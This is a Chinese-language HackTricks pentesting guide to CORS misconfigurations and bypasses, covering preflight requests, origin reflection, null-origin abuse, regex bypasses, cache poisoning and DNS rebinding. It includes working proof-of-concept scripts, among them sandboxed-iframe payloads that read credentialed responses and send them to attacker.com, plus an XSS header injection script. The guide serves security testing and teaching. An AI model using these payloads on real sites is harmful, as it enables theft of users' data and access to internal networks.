CORS - 错误配置与绕过

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 CORS?

Cross-Origin Resource Sharing (CORS) 标准 允许服务器定义谁可以访问其资源 以及 哪些 HTTP 请求方法被允许 从外部来源访问。

一个 same-origin(同源) 策略要求发出请求的服务器与托管该资源的服务器在协议(例如 http://)、域名(例如 internal-web.com)和端口(例如 80)上相同。在该策略下,只有来自相同域名和端口的网页被允许访问这些资源。

http://normal-website.com/example/example.html 的上下文中,同源策略的应用示例如下:

访问的 URL是否允许访问?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer 在强制实施同源策略时会忽略端口号,因此允许此访问。

Access-Control-Allow-Origin 响应头

该响应头可以允许 多个 origins、一个 null 值,或通配符 *。然而,没有浏览器支持多个 origins,且通配符 * 的使用有限制。(通配符必须单独使用,且不能与 Access-Control-Allow-Credentials: true 一起使用。)

该响应头由服务器在回应网站发起的跨域资源请求时发出,浏览器会自动添加一个 Origin 头。

Access-Control-Allow-Credentials 响应头

默认情况下,跨域请求不会携带像 cookies 或 Authorization 头这样的凭证。然而,如果跨域服务器将 Access-Control-Allow-Credentials 头设置为 true,则允许在发送凭证时读取响应。

如果设置为 true,浏览器将发送凭证(cookies、Authorization 头或 TLS 客户端证书)。

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

理解跨域通信中的预检请求

在满足特定条件时发起跨域请求,例如使用 非标准 HTTP 方法(HEAD、GET、POST 以外的任何方法)、引入新的 headers,或使用特定的 Content-Type header 值,可能需要发送预检请求。该初步请求使用 OPTIONS 方法,旨在告知服务器即将到来的跨源请求的意图,包括它计划使用的 HTTP 方法和 headers。

Cross-Origin Resource Sharing (CORS) 协议要求进行此预检检查,通过验证被允许的方法、headers 以及来源的可信性来确定所请求的跨域操作是否可行。要详细了解哪些情况可以免除预检请求,请参阅 Mozilla Developer Network (MDN) 提供的综合指南。

需要注意的是,没有预检请求并不等同于响应可以省略 authorization headers 的要求。没有这些 headers,浏览器将无法处理跨域请求的响应。

下面举例说明一个预检请求,该请求旨在使用 PUT 方法并带有名为 Special-Request-Header 的自定义 header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

作为响应,服务器可能返回指示被接受的方法、允许的 origin 和其他 CORS 策略细节的 headers,示例如下:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: 这个 header 指定在实际请求中可以使用哪些 headers。它由服务器设置,用于指示来自客户端请求中允许使用的 headers。
  • Access-Control-Expose-Headers: 通过这个 header,服务器告知客户端除了简单响应头之外,可以将哪些头作为响应的一部分暴露。
  • Access-Control-Max-Age: 这个 header 指示预检请求的结果可以被缓存多久。服务器设置最大时间(以秒为单位),预检请求返回的信息可以重用的时间。
  • Access-Control-Request-Headers: 用于预检请求,此 header 由客户端设置,用来告知服务器客户端希望在实际请求中使用哪些 HTTP headers。
  • Access-Control-Request-Method: 该 header 也用于预检请求,由客户端设置以指示将在实际请求中使用哪个 HTTP 方法。
  • Origin: 这个 header 由浏览器自动设置,表示跨域请求的来源。服务器根据 CORS 策略使用它来评估是否应允许或拒绝传入请求。

注意,通常(取决于 content-type 和设置的 headers)在 GET/POST 请求中不会发送预检请求(请求会直接发送),但如果你想访问响应的headers/body,响应必须包含允许访问的 Access-Control-Allow-Origin header。
因此,CORS 并不能防护 CSRF(但可能有帮助)。

本地网络请求预检

  1. Access-Control-Request-Local-Network: 该 header 包含在客户端的请求中,用以表明请求针对本地网络资源。它作为一个标记,告知服务器请求来自本地网络内部。
  2. Access-Control-Allow-Local-Network: 作为响应,服务器使用此 header 来表明被请求的资源允许与本地网络外的实体共享。它相当于在不同网络边界之间共享资源的绿灯,在保持安全协议的同时确保受控访问。

一个允许本地网络请求的有效响应还需要在响应中包含 header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

注意 linux 0.0.0.0 IP 可以用来 bypass 这些要求以访问 localhost,因为该 IP 地址不被视为 “local”。

也可以通过使用本地终端的 public IP address of a local endpoint(比如路由器的 public IP)来 bypass the Local Network requirements。因为在多种情况下,即使正在访问 public IP,如果请求是 from the local network,也会被允许访问。

通配符

注意,即使以下配置看起来非常宽松:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

This is not allowed by browsers and therefore credentials won’t be sent with the request allowed by this.

可利用的错误配置

已经观察到,将 Access-Control-Allow-Credentials 设置为 true 是大多数 真实攻击 的前提条件。该设置允许浏览器发送凭证并读取响应,从而增强攻击的效果。如果没有这个设置,让浏览器发起请求相较于自己发起请求的好处就会减少,因为利用用户的 cookies 变得不可行。

例外:将网络位置作为认证进行利用

存在一种例外,即受害者的网络位置被用作一种认证形式。这使得可以将受害者的浏览器用作代理,绕过基于 IP 的认证以访问内网应用。该方法在影响上与 DNS rebinding 相似,但更易于利用。

OriginAccess-Control-Allow-Origin 中的反射

在现实中,将 Origin header 的值反射到 Access-Control-Allow-Origin 的情形在理论上不太可能,因为合并这些 header 存在限制。然而,为了对多个 URL 启用 CORS,开发者可能会通过复制 Origin header 的值来动态生成 Access-Control-Allow-Origin header。此做法可能引入漏洞,尤其是当攻击者使用一个名字看起来合法的域名以欺骗验证逻辑时。

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

利用 null Origin

null origin 在诸如重定向或本地 HTML 文件等情况下被指定,具有特殊地位。一些应用将该 origin 列入白名单以便本地开发,这会无意中允许任何网站通过 sandboxed iframe 模拟 null origin,从而绕过 CORS 限制。

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

遇到域名白名单时,务必测试可能的绕过方式,例如将攻击者的域名附加到被白名单允许的域名上,或利用 subdomain takeover 漏洞。此外,用于域名验证的 regular expressions 可能会忽略域名命名约定中的细微差别,从而带来更多绕过机会。

Advanced Regular Expression Bypasses

Regex 模式通常只关注字母数字、点 (.) 和连字符 (-),忽略了其他可能性。例如,精心构造的域名包含在浏览器和 regex 模式中被不同解读的字符,就可以绕过安全检查。Safari、Chrome 和 Firefox 在子域名中对 underscore 字符的处理,说明了这种差异如何被利用来规避域名验证逻辑。

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

开发者经常通过将允许请求信息的域名列入白名单来防范 CORS 利用。尽管有这些防护,但系统并非万无一失。即便白名单中的单个易受攻击的子域,也可能通过其他漏洞(例如 XSS (Cross-Site Scripting))为 CORS 利用打开大门。

举例来说,假设域名 requester.com 被列入白名单以访问另一个域 provider.com 的资源。服务器端配置可能如下所示:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

在此设置中,所有 requester.com 的子域都被允许访问。然而,如果某个子域,例如 sub.requester.com,被 XSS 漏洞攻破,攻击者可以利用此弱点。例如,拥有对 sub.requester.com 访问权限的攻击者可以利用 XSS 漏洞绕过 CORS 策略,恶意访问 provider.com 上的资源。

特殊字符

PortSwigger 的 URL validation bypass cheat sheet 发现某些浏览器支持域名中出现奇怪字符。

Chrome 和 Firefox 支持下划线 _,这可能绕过用于验证 Origin header 的正则表达式:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari 在接受域名中的特殊字符方面更为宽松:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

其他有趣的 URL 技巧

URL Format Bypass

Server-side cache poisoning

From this research

通过利用 server-side cache poisoning 中的 HTTP header injection,可能会诱发存储型 Cross-Site Scripting (XSS) 漏洞。当应用未对 Origin header 中的非法字符进行过滤时,就会出现这种情况,尤其会影响 Internet Explorer 和 Edge 用户。
这些浏览器将 (0x0d) 视为合法的 HTTP header 终止符,从而导致 HTTP header injection 漏洞。

请考虑下列请求,其中 Origin header 被篡改:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer 和 Edge 将响应解释为:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

尽管通过让 web browser 发送畸形的 header 来直接利用此漏洞不可行,但可以使用像 Burp Suite 这样的工具手动生成精心构造的请求。该方法可能导致 server-side cache 保存响应并无意中将其提供给其他用户。该构造的 payload 旨在将页面的字符集改为 UTF-7,UTF-7 是一种字符编码,常与 XSS 漏洞相关,因为它能以某些上下文中可作为脚本执行的方式对字符进行编码。

有关存储型 XSS 漏洞的进一步阅读,请参见 PortSwigger

Note: 利用 HTTP header 注入漏洞,尤其是通过 server-side cache poisoning,强调了验证和清理所有用户提供输入(包括 HTTP headers)的关键重要性。始终采用包含输入验证的健壮安全模型以防止此类漏洞。

Client-Side cache poisoning

来自这项研究

在此场景中,观察到某个网页实例将自定义 HTTP header 的内容未经过适当编码地反射到页面上。具体来说,网页会回显 X-User-id header 中的内容,该内容可能包含恶意的 JavaScript,例如示例中 header 包含一个设计为在加载时执行 JavaScript 代码的 SVG 标签。

Cross-Origin Resource Sharing (CORS) 策略允许发送自定义 header。然而,由于 CORS 限制,响应本身可能不会被浏览器直接渲染,这时此类注入看起来用处有限。关键点在于浏览器的缓存行为。如果没有指定 Vary: Origin header,就可能导致恶意响应被浏览器缓存。随后,在导航到该 URL 时,可能直接渲染缓存的响应,从而绕过初始请求时直接渲染的需求。该机制通过利用 client-side caching 提高了攻击的可靠性。

为说明此攻击,提供了一个 JavaScript 示例,设计在网页环境(如通过 JSFiddle)中执行。该脚本执行一个简单操作:向指定 URL 发送一个包含恶意 JavaScript 的自定义 header 的请求。请求成功完成后,它尝试导航到目标 URL,如果响应在未正确处理 Vary: Origin header 的情况下被缓存,可能会触发注入脚本的执行。

下面是用于执行此攻击的 JavaScript 的简要分解:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

绕过

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI,也称为 Cross-Site Script Inclusion,是一种利用 Same Origin Policy (SOP) 在使用 script tag 包含资源时不适用的漏洞。原因在于 scripts 需要能够从不同域被包含。该漏洞允许攻击者访问并读取任何通过 script tag 包含的内容。

当涉及动态 JavaScript 或 JSONP (JSON with Padding) 时,这个漏洞尤其重要,尤其是在使用 cookies 等 ambient-authority 信息进行身份验证的场景下。从不同主机请求资源时,cookies 会被包含,从而使它们对攻击者可访问。

为更好地理解和缓解此漏洞,可以使用 BurpSuite 插件,地址为 https://github.com/kapytein/jsonp。该插件可以帮助识别和解决 web 应用中的潜在 XSSI 漏洞。

Read more about the difefrent types of XSSI and how to exploit them here.

尝试在请求中添加一个 callback 参数。也许页面准备将数据以 JSONP 形式发送。在这种情况下,页面会返回带有 Content-Type: application/javascript 的数据,这将绕过 CORS 策略。

简单(无用?)绕过

一种绕过 Access-Control-Allow-Origin 限制的方法是请求一个 web 应用代你发起请求并返回响应。然而,在这种情形下,最终受害者的凭据不会随请求发送,因为请求是发往不同域的。

  1. CORS-escape: 该工具提供了一个代理,可以转发你的请求及其头部,同时伪造 Origin 头以匹配被请求域,从而有效绕过 CORS 策略。下面是一个使用 XMLHttpRequest 的示例用法:
  2. simple-cors-escape: 该工具提供另一种代理请求的方法。与按原样传递你的请求不同,服务器会使用指定参数自行发起请求。

Iframe + Popup 绕过

你可以通过创建一个 iframe 并从中打开一个新窗口来绕过 CORS 检查(例如 e.origin === window.origin)。更多信息见下页:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL 是一种通过操纵 DNS 记录来绕过某些安全措施的技术。其工作流程如下:

  1. 攻击者创建一个网页并让受害者访问它。
  2. 攻击者随后将自己域名的 DNS(IP)更改为指向受害者的网页。
  3. 受害者的浏览器缓存 DNS 响应,响应中可能包含一个 TTL (Time to Live) 值,指示 DNS 记录应被视为有效的时长。
  4. 当 TTL 到期时,受害者的浏览器发起新的 DNS 请求,使攻击者能够在受害者页面上执行 JavaScript 代码。
  5. 通过保持对受害者 IP 的控制,攻击者可以在不向受害者服务器发送任何 cookies 的情况下收集信息。

需要注意的是,浏览器具有缓存机制,即使 TTL 很短也可能阻止该技术的立即滥用。

DNS rebinding 在绕过受害者执行的显式 IP 检查时很有用,或在用户或 bot 长时间停留在同一页面、使缓存过期的情形下非常有效。

如果你需要快速滥用 DNS rebinding,可以使用类似 https://lock.cmpxchg8b.com/rebinder.html 的服务。

若要运行你自己的 DNS rebinding 服务器,可以使用 DNSrebinder (https://github.com/mogwailabs/DNSrebinder)。这涉及到暴露本地的 53/udp 端口,创建一个指向它的 A 记录(例如 ns.example.com),并创建一个 NS 记录指向之前创建的 A 子域(例如 ns.example.com)。然后 ns.example.com 子域的任何子域都会由你的主机来解析。

你也可以探索公开运行的服务器 http://rebind.it/singularity.html 以便进一步理解和试验。

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding 是另一种用于绕过浏览器缓存机制并强制发起第二次 DNS 请求的技术。其工作流程如下:

  1. 最初,当受害者发起 DNS 请求时,会返回攻击者的 IP 地址。
  2. 为了绕过缓存防御,攻击者利用 service worker。service worker 对 DNS 缓存进行洪泛,实际上删除了缓存的攻击者服务器名称。
  3. 当受害者的浏览器发起第二次 DNS 请求时,响应将改为 127.0.0.1(通常指向 localhost)。

通过使用 service worker 洪泛 DNS 缓存,攻击者可以操纵 DNS 解析过程并强制受害者的浏览器发起第二次请求,此次请求会解析到攻击者希望的 IP 地址。

DNS Rebinding via Cache

另一种绕过缓存防御的方法是利用 DNS 提供者为同一子域提供多个 IP 地址。其工作流程如下:

  1. 攻击者在 DNS 提供者处为同一子域设置两个 A 记录(或一个包含两个 IP 的 A 记录)。
  2. 当浏览器查询这些记录时,会收到两个 IP 地址。
  3. 如果浏览器首先使用攻击者的 IP 地址,攻击者可以提供一个执行对相同域的 HTTP 请求的 payload。
  4. 然而,一旦攻击者获得了受害者的 IP 地址,他们就停止响应受害者的浏览器。
  5. 受害者的浏览器在发现该域不响应后,会转而使用第二个给出的 IP 地址。
  6. 通过访问第二个 IP,浏览器会绕过 Same Origin Policy (SOP),允许攻击者滥用这一点以收集并外泄信息。

该技术利用了当为一个域提供多个 IP 时浏览器的行为。通过策略性地控制响应并操纵浏览器对 IP 的选择,攻击者可以利用 SOP 访问受害者的信息。

Warning

注意:为了访问 localhost,你应在 Windows 上尝试 rebind 127.0.0.1,在 linux 上尝试 rebind 0.0.0.0
像 godaddy 或 cloudflare 这样的提供商不允许我使用 ip 0.0.0.0,但 AWS route53 允许我为一个 A 记录创建两个 IP,其中一个是 “0.0.0.0”

更多信息请查看 https://unit42.paloaltonetworks.com/dns-rebinding/

其他常见绕过方法

  • 如果 internal IPs aren’t allowed,他们可能忘记禁止 0.0.0.0(在 Linux 和 Mac 上有效)
  • 如果 internal IPs aren’t allowed,可以用 CNAME 指向 localhost(在 Linux 和 Ma 上有效)
  • 如果 internal IPs aren’t allowed 作为 DNS 响应,你可以响应指向内部服务的 CNAMEs,例如 www.corporate.internal。

DNS Rebidding 武器化

你可以在演讲 Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference 中找到关于之前绕过技术以及如何使用下列工具的更多信息。

Singularity of Origin 是一个用于执行 DNS rebinding 攻击的工具。它包含将攻击服务器 DNS 名的 IP 重新绑定到目标机器 IP 并向目标机器提供攻击 payload 所需的组件,以利用目标机器上存在漏洞的软件。

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH 只是将经典的 RFC1035 DNS wire 格式封装在 HTTPS 内(通常是一个 Content-Type: application/dns-message 的 POST)。解析器仍然返回相同的 resource records,因此即使浏览器通过 TLS 解析攻击者控制的主机名,破坏 SOP 的技术仍然有效。

关键观察

  • Chrome (Windows/macOS) 和 Firefox (Linux) 在配置为 Cloudflare、Google 或 OpenDNS DoH 解析器时可以成功 rebind。传输加密既不会延迟也不会阻止 first-then-secondmultiple-answersDNS cache flooding 策略的攻击流程。
  • 公共解析器仍然能看到每个查询,但它们很少强制浏览器必须遵守的主机到 IP 的映射。一旦权威服务器返回了 rebind 序列,浏览器在连接到新 IP 时仍保留原始的 origin tuple。

Singularity 在 DoH 上的策略与时序

  • First-then-second 仍然是最可靠的选项:第一次查找返回用于提供 payload 的攻击者 IP,之后的每次查找都返回内部/localhost IP。使用典型的浏览器 DNS 缓存,这种切换大约在 ~40–60 秒内发生,即使递归解析器只能通过 HTTPS 可达。
  • Multiple answers (fast rebinding) 通过返回两个 A 记录(攻击者 IP + 在 Linux/macOS 上为 0.0.0.0 或在 Windows 上为 127.0.0.1)并在页面加载后短时间内以编程方式将第一个 IP 黑洞化(例如使用 iptables -I OUTPUT -d <attacker_ip> -j DROP)仍能在 <3 秒内到达 localhost。Firefox 的 DoH 实现可能会发出重复的 DNS 查询,因此 Singularity 的修复是相对于第一次查询时间戳调度防火墙规则,而不是在每次查询时刷新计时器。

破解 DoH 提供商的“rebind 保护”

  • 一些提供商(例如 NextDNS)会将私有/loopback 的回答替换为 0.0.0.0,但 Linux 和 macOS 会将该目标路由到本地服务。因此有意将 0.0.0.0 作为第二个记录返回仍然可以将 origin 转向 localhost。
  • 仅过滤直接的 A/AAAA 响应是无效的:返回一个指向仅限内部访问的主机名的 CNAME 会让公共 DoH 解析器转发该别名,而像 Firefox 这样的浏览器会回退到系统 DNS 来解析内部区域,从而完成解析为私有 IP,而该私有 IP 仍被视为攻击者 origin。

浏览器特定的 DoH 行为

  • Firefox DoH 在回退模式下工作:任何 DoH 失败(包括未解析的 CNAME 目标)都会触发通过 OS 解析器的明文查找,通常是一个了解内部命名空间的企业 DNS 服务器。这种行为使得 CNAME 绕过在企业网络内部可靠。
  • Chrome DoH 仅在 OS DNS 指向一个白名单中的 DoH 能力递归解析器(Cloudflare、Google、Quad9 等)时才会激活,并且不提供相同的回退链。只有在企业 DNS 上存在的内部主机名因此会解析失败,但向 localhost 或任何可路由地址的 rebind 仍然成功,因为攻击者控制了整个响应集。

测试和监控 DoH 流

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS 并提供 DoH 端点(Cloudflare 和 NextDNS 内置)。Chrome/Chromium: 启用 chrome://flags/#dns-over-https 并将 OS DNS 服务器配置为 Chrome 支持的解析器之一(例如 1.1.1.1/1.0.0.1)。
  • 你可以直接查询公共 DoH API,例如 curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq,以确认浏览器将缓存的确切记录。
  • 在 Burp/ZAP 中拦截 DoH 仍然可行,因为它只是 HTTPS(二进制 DNS payload 在 body 中)。若要进行数据包级别的检查,请在启动浏览器前导出 TLS 密钥(export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt),然后使用 Wireshark 解密 DoH 会话,并使用 dns 显示过滤器观察浏览器何时停留在 DoH 上或回退到经典 DNS。

针对 DNS Rebinding 的真实防护

工具

Fuzz 可能的 CORS 配置错误

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks